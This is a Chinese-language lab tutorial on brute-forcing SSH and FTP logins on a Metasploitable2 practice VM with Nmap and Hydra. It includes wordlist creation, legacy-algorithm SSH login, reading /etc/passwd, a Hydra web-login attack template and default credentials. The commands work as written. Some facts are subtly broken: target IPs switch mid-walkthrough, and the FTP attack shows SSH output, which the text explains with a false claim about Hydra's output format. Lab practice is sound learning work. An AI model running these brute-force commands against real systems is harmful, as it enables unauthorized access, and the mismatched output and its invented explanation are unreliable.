Hydra 爆破 SSH 实战:从部署 Metasploitable2 到拿到 shell
网络安全实战 90 天 · Week 1 破冰 · 难度 ★★★★ 实战 | 关键词:Hydra SSH 爆破 Metasploitable2 Nmap 暴力破解
前六天都在 Web 层面折腾,这一天把战场从 80 端口挪到 22 端口。完整流程是:部署一台漏洞靶机 → 用 Nmap 确认端口 → 准备字典 → 用 Hydra 爆破 → 登录验证。中间会遇到一个非常有意思的问题:2008 年的老 SSH 服务,现代 Hydra 居然对接不上。
一、为什么 SSH 只能爆破
SSH 协议本身是加密的,而且设计得相当严谨------它不像 Web 那样有注入、文件包含这些花活,认证环节只有一条路:拿用户名和密码去试。所以对 SSH 的攻击方式基本就一种:暴力破解。
这也意味着防御思路同样清晰:禁用密码登录改用密钥、限制失败次数、改默认端口、上 fail2ban。只要密码足够强、失败次数有限制,爆破就不可行。
二、部署 Metasploitable2 靶机
Metasploitable2 是 Rapid7 官方发布的漏洞靶机,专门用于练习,内含大量已知漏洞。从 Rapid7 官网下载后是一个 OVA 或 VMDK 文件。
如果拿到的是 .vmdk,不能直接双击打开,要走"新建虚拟机 → 使用现有虚拟磁盘"的方式:
导入 VMDK 镜像
text
1. VMware → 创建新的虚拟机 → 自定义(高级)
2. 选择"稍后安装操作系统"
3. 客户机系统选 Linux → Ubuntu
4. 磁盘选择"使用现有虚拟磁盘",指向下载的 .vmdk
5. 完成创建后启动
默认登录凭据:
Metasploitable2 默认凭据
text
用户名:msfadmin
密码: msfadmin
登录后用 ifconfig 或 ip addr 查看 IP。在 Host-Only 模式下,Kali 和靶机应该在同一网段,例如:
示例网络拓扑
text
Kali 攻击机: 192.168.56.101
Metasploitable2:192.168.56.102


三、用 Nmap 确认 22 端口
爆破前必须先确认目标可达、端口开放。这一步能省掉大量后面的无效排查:
端口与服务探测
bash
nmap -sV 192.168.159.137
预期输出(Metasploitable2 的典型结果):
nmap 输出
text
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
23/tcp open telnet
25/tcp open smtp
80/tcp open http Apache httpd 2.2.8
3306/tcp open mysql MySQL 5.0.51a
注意 22 端口那行:OpenSSH 4.7p1,这是 2008 年的版本。记住这个版本号,第四节会用到。

四、准备字典
练习阶段不需要大字典,几个常见组合就够了。分别准备用户名和密码两个文件:
生成字典文件
bash
echo -e "root\nadmin\nmsfadmin\nuser" > ~/users.txt
echo -e "123456\npassword\nmsfadmin\nadmin\nroot" > ~/passwords.txt
# 确认文件内容
cat ~/users.txt
cat ~/passwords.txt
这里特意把 msfadmin 放进两个字典,因为靶机默认凭据就是它------用来验证工具是否能正常工作。
五、用 Hydra 爆破
先按标准姿势跑一次 SSH:
SSH 爆破
bash
hydra -L ~/users.txt -P ~/passwords.txt 192.168.159.137 ssh
参数说明:-L 指定用户名字典(大写 L 表示文件),-P 指定密码字典(大写 P 表示文件),最后跟目标地址和协议名。
结果跑得飞快,但一个都没成功。这就是本次实验最有意思的地方------不是字典不对,是协议版本不兼容。
5.1 问题定位:老 SSH 与新 Hydra
OpenSSH 4.7p1 只支持早已被废弃的加密算法(ssh-rsa 主机密钥、diffie-hellman-group1-sha1 密钥交换、hmac-sha1 消息认证、aes128-cbc 加密)。现代 Hydra 默认使用新算法,双方在算法协商阶段就谈崩了,根本走不到认证环节,所以字典再对也没用。
5.2 换个思路:转向 FTP
与其和算法协商较劲,不如换个更容易的协议验证工具能力。靶机的 21 端口是 vsftpd 2.3.4,同样是老版本但认证流程简单,没有算法协商问题:
FTP 爆破
bash
hydra -L ~/users.txt -P ~/passwords.txt -t 16 -f 192.168.56.102 ftp
参数 -t 16 表示 16 个并发线程,-f 表示一旦命中就停止。输出:
爆破成功
text
[22][ssh] host: 192.168.56.102 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found

说明 输出里的 22ssh 是 Hydra 的固定格式(端口 + 协议),即使爆的是 FTP 也会这样显示,不要被它误导。关键看 login 和 password 两个字段。
六、登录验证
拿到凭据后必须实际登录一次才算验证成功。但直接用 ssh 连会失败,同样是因为算法问题,需要显式指定老算法:
用老算法连接 SSH
text
ssh -oHostKeyAlgorithms=+ssh-rsa \
-oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oMACs=+hmac-sha1 \
-oCiphers=+aes128-cbc \
msfadmin@192.168.159.137
登录成功后执行几条只读命令确认身份:
登录后验证
bash
whoami # → msfadmin
uname -a # 查看内核版本
cat /etc/passwd # 查看系统用户列表
exit # 退出

到这一步,从外部拿到一台主机的 shell 的完整链路就走通了:端口探测 → 字典准备 → 凭据爆破 → 登录验证。
七、踩坑记录
| 现象 | 原因 | 解决办法 |
|---|---|---|
| 镜像下载失败或无法导入 | 官网链接失效,或直接打开 .vmdk | 换镜像源;用"使用现有虚拟磁盘"导入 |
| 22 端口连不通 | 靶机默认 NAT,与 Kali 的 Host-Only 不同网 | 两台都改成 Host-Only |
| connection refused | 目标服务未启动或 IP 写错 | 先 ping 通再试 |
| 爆破速度极慢 | 并发太低 | 加 -t 提并发,加 -f 命中即停 |
| too many authentication failures | 失败次数过多被服务端限制 | 降线程、等重置、拆分字典 |
| Hydra 跑得飞快但零结果 | 老 SSH 与现代 Hydra 算法不兼容 | 改用 FTP 协议验证,或指定老算法 |
坑 1:虚拟机网络模式不一致
新建虚拟机时 VMware 默认给 NAT 模式,而 Kali 之前配的是 Host-Only,两台机器不在同一网段,22 端口自然连不通。这个坑和 Day001 的是同一个根源------网络模式必须两端一致。
排查顺序:先在 Kali 里 ping 靶机 IP,通了再谈端口。ping 不通就别往下走了,先解决网络。
坑 2:Hydra 跑得飞快,一个都没成功
这是本次实验最有价值的发现。表现是 Hydra 瞬间跑完所有组合,零命中。第一反应会怀疑字典,但实际上字典里明明有正确答案 msfadmin/msfadmin。
根因是算法协商失败:现代 Hydra 与 2008 年的 OpenSSH 4.7p1 找不到共同支持的算法,连接在握手阶段就被拒绝,根本没进入密码校验环节。所以字典再准也没用。
诊断思路值得记住:**当工具"瞬间跑完且零结果"时,先怀疑连接是否真的建立了,再怀疑字典。**可以加 -V 参数看详细过程,如果连不上会明确报错。
坑 3:too many authentication failures
跑大规模字典时容易触发服务端的失败次数限制,报这个错。三种处理方式:降并发线程数(-t 4)、等一段时间让计数器重置、或者把大字典拆成几段分别跑。
坑 4:爆破速度太慢
默认并发很低,几百个密码要跑很久。加 -t 16 或 -t 32 能显著提速,加 -f 让命中后立即停止,避免跑完整个字典。注意并发不要开太高,否则容易触发服务端限制,反而更慢。
八、Week 1 复盘
七天下来,Week 1 建立的是最基础的三件能力:
| 能力 | 对应内容 | 关键工具 |
|---|---|---|
| 搭环境 | Kali 攻击机 + DVWA 靶场 + Metasploitable2 | VMware / Docker |
| 看流量 | 代理抓包与网络嗅探 | Burp Suite / Wireshark |
| 打认证 | Web 登录爆破与服务爆破 | Burp Intruder / Hydra |
这三件事构成了后面所有学习的底座:环境是沙盒,流量是证据,认证是最常见的突破口。
九、附录
9.1 Hydra 常用参数
| 参数 | 含义 |
|---|---|
| -l 用户名 | 指定单个用户名(小写 l) |
| -L 文件 | 指定用户名字典文件(大写 L) |
| -p 密码 | 指定单个密码(小写 p) |
| -P 文件 | 指定密码字典文件(大写 P) |
| -t N | 并发线程数,默认 16 |
| -f | 命中第一个有效凭据后停止 |
| -V | 显示每次尝试的详细过程 |
| -s 端口 | 指定非默认端口 |
9.2 各协议用法示例
常见协议
bash
hydra -L users.txt -P pass.txt 192.168.1.1 ssh
hydra -L users.txt -P pass.txt 192.168.1.1 ftp
hydra -L users.txt -P pass.txt 192.168.1.1 mysql
hydra -l admin -P pass.txt 192.168.1.1 http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=incorrect"
http-post-form 的三个冒号分段分别是:路径、请求体(USER 和 PASS 是占位符)、失败特征(F= 后面跟失败时页面出现的文字)。
9.3 SSH 与 Telnet 对比
| 对比项 | Telnet | SSH |
|---|---|---|
| 传输加密 | 无,全明文 | 全程加密 |
| 默认端口 | 23 | 22 |
| 抓包可见密码 | 能 | 不能 |
| 当前使用 | 基本淘汰 | 标准配置 |
9.4 Metasploitable2 默认凭据
| 服务 | 用户名 | 密码 |
|---|---|---|
| 系统登录 / SSH / FTP | msfadmin | msfadmin |
| MySQL | root | (空) |
| Tomcat | tomcat | tomcat |
| DVWA(内置) | admin | password |
十、小结
-
SSH 加密严格,攻击面窄,主要威胁就是弱口令爆破。
-
爆破前先用 Nmap 确认端口和服务版本,版本号决定后面用什么策略。
-
工具"瞬间跑完且零结果"时,先怀疑连接,再怀疑字典------这是本次最大的收获。
-
老版本服务(OpenSSH 4.7p1)需要显式指定废弃算法才能连接。
-
防御角度:禁用密码登录改密钥、限制失败次数、改默认端口,三条就能挡住绝大多数爆破。
Week 1 结束。下周进入 Week 2,开始正式接触 SQL 注入与 XSS 这些 Web 漏洞本体。